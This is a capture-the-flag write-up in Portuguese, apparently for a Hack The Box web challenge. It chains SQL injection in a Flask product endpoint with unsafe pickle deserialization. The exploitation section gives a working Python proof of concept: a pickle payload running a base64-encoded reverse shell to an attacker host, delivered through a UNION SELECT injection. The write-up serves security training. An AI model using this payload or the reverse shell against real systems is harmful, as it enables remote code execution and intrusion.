C. O. P
Reconhecimento
Podemos baixar o código-fonte da aplicação e ver que se trata de uma aplicação web em Python utilizando Flask. Temos apenas dois endpoints, sendo que um trás a listagem dos produtos cadastrados:

E o outro, /view/:id
trás informações sobre um produto com base no id informado.

Podemos começar analisando o código-fonte do último endpoint, visto que ele permite a entrada de dados.
from flask import Blueprint, render_template
from application.models import shop
web = Blueprint('web', __name__)
@web.route('/view/<product_id>')
def product_details(product_id):
return render_template('item.html', product=shop.select_by_id(product_id))
Acima está o arquivo que define as rotas da aplicação. Observe que ao acessar a rota /view
, a aplicação chama uma função shop.select_by_id
, definida no arquivo models
:
from application.database import query_db
class shop(object):
@staticmethod
def select_by_id(product_id):
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)
Perceba que a aplicação está inserindo a entrada do usuário diretamente na query SQL, ou seja, podemos tentar injetar SQL. Ao enviar uma requisição ao endpoint /view/1'
, a aplicação retorna um erro 500, o que possivelmente indica que a entrada foi injetada na query provocando um erro. Ao consultar /view/1'--
, a aplicação não retorna erro algum, visto que a consulta foi processada da seguinte forma:
SELECT data FROM products WHERE id='1'--'
Isto é, fazendo uma consulta em produtos a qual o id do produto seja 1 e comentando o restante da query que é inserido pelo back-end. Porém, apenas com esse SQL injection não somos capazes de fazer nada. Vejamos como essa rota é renderizada no template:
<!-- Product section-->
<section class="py-5">
<div class="container px-4 px-lg-5 my-5">
<div class="row gx-4 gx-lg-5 align-items-center">
{% set item = product | pickle %}
<div class="col-md-6"><img class="card-img-top mb-5 mb-md-0" src="{{ item.image }}" alt="..." /></div>
<div class="col-md-6">
<h1 class="display-5 fw-bolder">{{ item.name }}</h1>
<div class="fs-5 mb-5">
<span>£{{ item.price }}</span>
</div>
<p class="lead">{{ item.description }}</p>
</div>
</div>
</div>
</section>
A instrução na linha 6 está utilizando uma funcionalidade de filtro do Flask que deve ser definida pela aplicação. A definição desse filtro pode ser encontrada no arquivo app.py:
@app.template_filter('pickle')
def pickle_loads(s):
return pickle.loads(base64.b64decode(s))
Exploração
Perceba que o filtro definido é processado por uma função do pickle, uma biblioteca de serialização do Python. A função é responsável por decodificar a entrada em base64 e então serializar ela através do pickle. Entretanto, buscando sobre essa biblioteca, foi possível encontrar uma vulnerabilidade nela que permite execução de código remotamente. Para isso, precisamos criar uma classe com o payload da RCE, usar a função dumps
da biblioteca pickle para desserializar um objeto dessa classe e então passar esse objeto desserializado codificado em base64 para a aplicação. A partir disso, podemos aproveitar vulnerabilidade de SQL injection para injetar o payload na requisição.
Prova de Conceito
import pickle
import requests
from base64 import b64encode, urlsafe_b64encode
import os
host = "http://cop.htb:1337"
class RCE:
def __reduce__(self):
ip = "127.0.0.1" # endereço da máquina atacante
port = 1337 # porta do listener
reverse_shell = f'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\''
cmd = f'echo "{b64encode(reverse_shell.encode()).decode()}" | base64 -d | sh'
return os.system, (cmd,)
if __name__ == "__main__":
pickled = pickle.dumps(RCE()) # serialização do objeto RCE com o pickle
response = requests.get(
url=f'{host}/view/\' UNION SELECT "{urlsafe_b64encode(pickled).decode()}"--'
)
print(response.text)
O script acima define uma classe RCE que, quando desserializada pelo pickle na aplicação vulnerável, realiza uma conexão de shell reversa. Dessa forma, podemos serializar um objeto dessa classe e tentar enviar ao endpoint vulnerável da aplicação. Abusando da falha de SQL injection, podemos criar um UNION SELECT com o payload, e ele será desserializado pela aplicação, resultando na conexão reversa à nossa máquina. Agora, com o shell, basta lermos o conteúdo do arquivo flag.txt
para obter a flag.